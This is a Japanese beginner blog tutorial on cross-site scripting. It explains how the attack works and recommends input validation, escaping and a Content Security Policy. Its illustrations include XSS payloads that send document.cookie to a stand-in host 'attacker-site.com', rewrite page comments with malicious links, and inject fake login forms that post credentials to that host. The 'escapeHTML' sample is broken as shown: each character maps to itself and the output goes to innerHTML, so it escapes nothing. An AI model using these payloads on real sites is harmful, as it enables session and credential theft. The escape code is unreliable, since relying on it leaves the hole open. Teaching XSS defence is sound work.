Webアプリケーションのセキュリティは、ユーザーのデータ保護と信頼性の確保にとって不可欠ですね。特に、クロスサイトスクリプティング(以下、XSS)攻撃は、JavaScriptを使用して悪意のあるコードを注入し、ユーザーのブラウザ上で実行することで重大なセキュリティリスクを引き起こす可能性があります。この記事では、XSS攻撃からWebアプリケーションを保護するための効果的な対策手法とベストプラクティスについて紹介します。
赤文字や赤いラインばかりでちょっと怖いかもしれませんが、非常に重要なことです。ひとつづつ少しづつりかいしながら読み進めてみてください。
クロスサイトリクエストフォージェリ(CSRF)については『初心者も押さえておくべきWebセキュリティ vol.2 『クロスサイトリクエストフォージェリ(CSRF)』からの保護対策』をご参照ください。
XSS攻撃の仕組みとリスク
XSS攻撃は、ユーザーから提供された入力データが適切に検証・エスケープされず、Webページ上で実行可能なコードとして解釈されることによって発生します。攻撃者は、この脆弱性を悪用し、ユーザーのセッション情報の盗み取り、悪意のある操作の実行、不正な広告の表示など、さまざまな悪影響をもたらすことができます。
XSS攻撃の仕組みは次のような手順で行われます。
- 攻撃者は、Webブアプリケーション内の脆弱な入力フィールドやURLパラメータなど、ユーザーからの入力を特定します。
- 攻撃者は、その入力ポイント(機能)に悪意のあるスクリプトコードを注入します。このスクリプトコードは、一般的にJavaScriptが使用されます。
- Webアプリケーションは、攻撃者からの入力を信頼せずに処理すべき(全員が全員運営側の思い通りの無難な入力はしない前提をもつこと)ですが、適切な検証やエスケープが行われていない場合、注入されたスクリプトコードはそのままユーザーのブラウザに出力されます。
- ユーザーがWebページを閲覧する際、ブラウザは注入されたスクリプトコードを実行します。これにより、攻撃者はユーザーのブラウザ上で任意の操作や情報の盗み取りを行うことができます。
また、XSS攻撃のリスクは以下のようなものがあります。
- 【ユーザー情報の盗み取り】攻撃者は、ユーザーのセッション・クッキーやパスワードなどの個人情報を盗み取ることができます。
- 【不正な操作の実行】:攻撃者は、ユーザーの代わりにアクションを実行することが可能です。例えば、悪意のあるトランザクションの実行や、不正な操作によるデータの改ざんが挙げられます。
- 【フィッシング攻撃】:攻撃者は、Webページの偽のログインフォームや情報入力フォームを表示し、ユーザーの個人情報を騙し取ることができます。
- 【悪意のある広告の表示】:攻撃者は、Webページ上に不正な広告を表示することで利益を得ることができます。
- 【サイトの信頼性低下】:XSS攻撃によってWebページが被害を受けると、そのサイトの信頼性は失墜し、アクセスが激減する可能性があります。
XSS攻撃は、Webアプリケーションのセキュリティにとって深刻な脅威となります。適切な入力データの検証、エスケープ処理、CSPの実装などの対策を行うことが重要です。
各仕組みについてコードを読みながらもう少し深堀りします
※これから解説することはセキュリティ対策をどうしていくかについてです。逆読みして危険なことはしないでください。犯罪に当たります。
脆弱な入力フィールドやURLパラメータとありましたが、具体的には同様なソースが該当するのか確認しておきましょう。
<form action="/login" method="POST">
<input type="text" name="username" placeholder="ユーザー名">
<input type="password" name="password" placeholder="パスワード">
<button type="submit">ログイン</button>
</form>
攻撃者は、このログインフォーム
例えば、上記のようなログインフォームがあるとします。攻撃者は、このログインフォームのユーザー名フィールドに悪意のあるスクリプトコードを注入することでXSS攻撃を試みます。以下に攻撃者が注入するスクリプトコードの例を示します:
<script>
// ユーザーのクッキー情報を攻撃者のサイトに送信する
var img = new Image();
img.src = "https://attacker-site.com/steal?cookie=" + document.cookie;
</script>
Webアプリケーションが十分な検証やエスケープを行っていない場合、このスクリプトコードはそのままブラウザに出力され、攻撃者の意図した通りに実行されてしまいます。結果として、攻撃者はユーザーのクッキー情報を盗み取ることができます。
また、XSS攻撃によって、攻撃者はユーザーの代わりにさまざまなアクションを実行することが可能です。以下に具体的なコード例を示します。
<!-- コメント表示部分 -->
<div id="comments">
<!-- コメント1 -->
<div class="comment">
<span class="username">ユーザーA</span>
<span class="content">コメント内容1</span>
</div>
<!-- コメント2 -->
<div class="comment">
<span class="username">ユーザーB</span>
<span class="content">コメント内容2</span>
</div>
</div>
<!-- コメント投稿フォーム -->
<form id="comment-form" action="/post-comment" method="POST">
<input type="text" name="username" placeholder="ユーザー名">
<textarea name="content" placeholder="コメントを入力してください"></textarea>
<button type="submit">コメント投稿</button>
</form>
攻撃者は、コメント投稿フォームのユーザー名やコメント内容に悪意のあるスクリプトコードを注入することでXSS攻撃を行います。以下に攻撃者が注入するスクリプトコードの例を示します。
<script>
// 攻撃者のサイトにクッキー情報を送信する
var img = new Image();
img.src = "https://attacker-site.com/steal?cookie=" + document.cookie;
// ユーザーのコメントを改ざんする
var comments = document.getElementsByClassName('comment');
for (var i = 0; i < comments.length; i++) {
var comment = comments[i];
var username = comment.getElementsByClassName('username')[0];
var content = comment.getElementsByClassName('content')[0];
// 攻撃者のサイトへのリンクを追加する
var link = document.createElement('a');
link.href = 'https://attacker-site.com/malicious-link';
link.textContent = '悪意のあるリンク';
content.appendChild(document.createElement('br'));
content.appendChild(link);
// ユーザー名を変更する
username.textContent = '攻撃者が改ざん';
}
</script>
この場合、攻撃者はコメント投稿フォームのユーザー名フィールドやコメント内容フィールドに以下のように入力します。
<script>
var img = new Image();
img.src = "https://attacker-site.com/steal?cookie=" + document.cookie;
var comments = document.getElementsByClassName('comment');
for (var i = 0; i < comments.length; i++) {
var comment = comments[i];
var username = comment.getElementsByClassName('username')[0];
var content = comment.getElementsByClassName('content')[0];
var link = document.createElement('a');
link.href = 'https://attacker-site.com/malicious-link';
link.textContent = '悪意のあるリンク';
content.appendChild(document.createElement('br'));
content.appendChild(link);
username.textContent = '攻撃者が改ざん';
}
</script>
Webアプリケーションが適切な検証やエスケープを行っていない場合、このスクリプトコードはコメント一覧部分に表示される全てのコメントに影響を与えます。攻撃者はユーザーのクッキー情報を盗み取るだけでなく、コメントの内容を改ざんしたり、悪意のあるリンクを追加したりすることができます。
これらの例は非常に簡略化されたものであり、実際の攻撃はさまざまな方法で行われます。重要なのは、攻撃者がウェブアプリケーションの脆弱な入力ポイントを特定し、そこに悪意のあるスクリプトコードを注入することでXSS攻撃を実現し、ユーザーのアクションやコンテンツを改ざんすることができるという点です。
そして、攻撃者は、XSS攻撃を使用して、ウェブページに偽のログインフォームや情報入力フォームを注入し、ユーザーの個人情報を騙し取ることができます。
例として、以下のようなウェブページがあるとします。
<h1>ユーザープロフィール</h1>
<p>ようこそ、ユーザーAさん!</p>
<p>名前: ユーザーA</p>
<p>メールアドレス: usera@example.com</p>
<p>プロフィールを編集する:</p>
<form id="profile-form" action="/edit-profile" method="POST">
<input type="text" name="name" placeholder="名前">
<input type="email" name="email" placeholder="メールアドレス">
<button type="submit">保存</button>
</form>
攻撃者は、このウェブページに悪意のあるスクリプトコードを注入し、偽のログインフォームや情報入力フォームを表示します。以下に攻撃者が注入するスクリプトコードの例を示します。
<script>
// 偽のログインフォームを表示する
var loginForm = document.createElement('form');
loginForm.action = 'https://attacker-site.com/login';
loginForm.method = 'POST';
var usernameInput = document.createElement('input');
usernameInput.type = 'text';
usernameInput.name = 'username';
usernameInput.placeholder = 'ユーザー名';
loginForm.appendChild(usernameInput);
var passwordInput = document.createElement('input');
passwordInput.type = 'password';
passwordInput.name = 'password';
passwordInput.placeholder = 'パスワード';
loginForm.appendChild(passwordInput);
var submitButton = document.createElement('button');
submitButton.type = 'submit';
submitButton.textContent = 'ログイン';
loginForm.appendChild(submitButton);
document.body.appendChild(loginForm);
// 偽の情報入力フォームを表示する
var infoForm = document.createElement('form');
infoForm.action = 'https://attacker-site.com/steal-info';
infoForm.method = 'POST';
var nameInput = document.createElement('input');
nameInput.type = 'text';
nameInput.name = 'name';
nameInput.placeholder = '名前';
infoForm.appendChild(nameInput);
var emailInput = document.createElement('input');
emailInput.type = 'email';
emailInput.name = 'email';
emailInput.placeholder = 'メールアドレス';
infoForm.appendChild(emailInput);
var submitButton = document.createElement('button');
submitButton.type = 'submit';
submitButton.textContent = '送信';
infoForm.appendChild(submitButton);
document.body.appendChild(infoForm);
</script>
この場合、攻撃者は上記のスクリプトコードをウェブページに注入します。ウェブページが適切な検証やエスケープを行っていない場合、このスクリプトコードは実行され、偽のログインフォームと情報入力フォームが表示されます。
ユーザーは偽のログインフォームや情報入力フォームに個人情報を入力してしまう可能性があります。しかし、これらのフォームは攻撃者のサイトにデータを送信してしまうため、ユーザーの個人情報が騙し取られてしまいます。
ではXSSに対するセキュリティベストプラクティスは何か?
XSS攻撃からWebアプリケーションを保護するためには、適切な検証やエスケープを行う必要があります。以下に具体的な対策方法をJavaScriptのコードベースで説明します。
- ユーザーからの入力の検証: ユーザーからの入力データを受け取る際に、適切な検証を行う。
例えば、入力が文字列であるか、特定の形式に従っているかなどをチェックします。正規表現や組み込みの検証関数を使用して、入力データが予想される形式に一致するかを確認します。
// ユーザー名が英数字のみで構成されているか検証する例
function validateUsername(username) {
var regex = /^[a-zA-Z0-9]+$/;
return regex.test(username);
}
// メールアドレスの形式が正しいか検証する例
function validateEmail(email) {
var regex = /^[^\s@]+@[^\s@]+\.[^\s@]+$/;
return regex.test(email);
}
// 入力の検証例
var userInput = getUserInput(); // ユーザーからの入力を取得する
if (validateUsername(userInput)) {
// ユーザー名が正しい形式である場合の処理
} else {
// ユーザー名が正しい形式でない場合のエラー処理
}
- エスケープ処理の適用
Webアプリケーションがユーザーからの入力を出力する際には、エスケープ処理を行います。これにより、ユーザーからの入力がHTMLコードとして解釈されるのではなく、そのまま表示されます。innerText
やtextContent
などの適切なメソッドを使用して、テキストとして出力されるようにします。
// ユーザーからの入力をエスケープして表示する例
function escapeHTML(input) {
var map = {
'&': '&',
'<': '<',
'>': '>',
'"': '"',
"'": '''
};
return input.replace(/[&<>"']/g, function (m) { return map[m]; });
}
// ユーザーからの入力をエスケープして表示する例
var userInput = getUserInput(); // ユーザーからの入力を取得する
var escapedInput = escapeHTML(userInput); // ユーザーからの入力をエスケープする
outputElement.innerHTML = escapedInput; // エスケープした入力を表示する
- コンテンツセキュリティポリシーの設定
コンテンツセキュリティポリシー (Content Security Policy, CSP) を使用すると、特定のソースからのみスクリプトの実行を許可できます。これにより、XSS攻撃による外部スクリプトの実行を防ぐことができます。
<!-- コンテンツセキュリティポリシーを設定する例 -->
<meta http-equiv="Content-Security-Policy" content="script-src 'self'">
あくまで、上記の対策は、XSS攻撃からWebアプリケーションを保護するための基本的な手法です。もう少し詳しく突き詰めて行く必要がありますが、今回はこれで〆ておきます。
まとめ
1.ユーザーからの入力の検証は欠かさないこと
2.エスケープ処理は適用必ず適用すること
3.コンテンツセキュリティポリシーの設定をHTMLの<head>内に明記しておくこと。
これらがXSS対策として必要最低限行っておくべき事項です。XSSはサーバーとの受送信の際に更に危険度が増しますので、サーバーと連携していない場合は、この3つの対策を必ずおこなう癖をつけておくことが望ましいでしょう。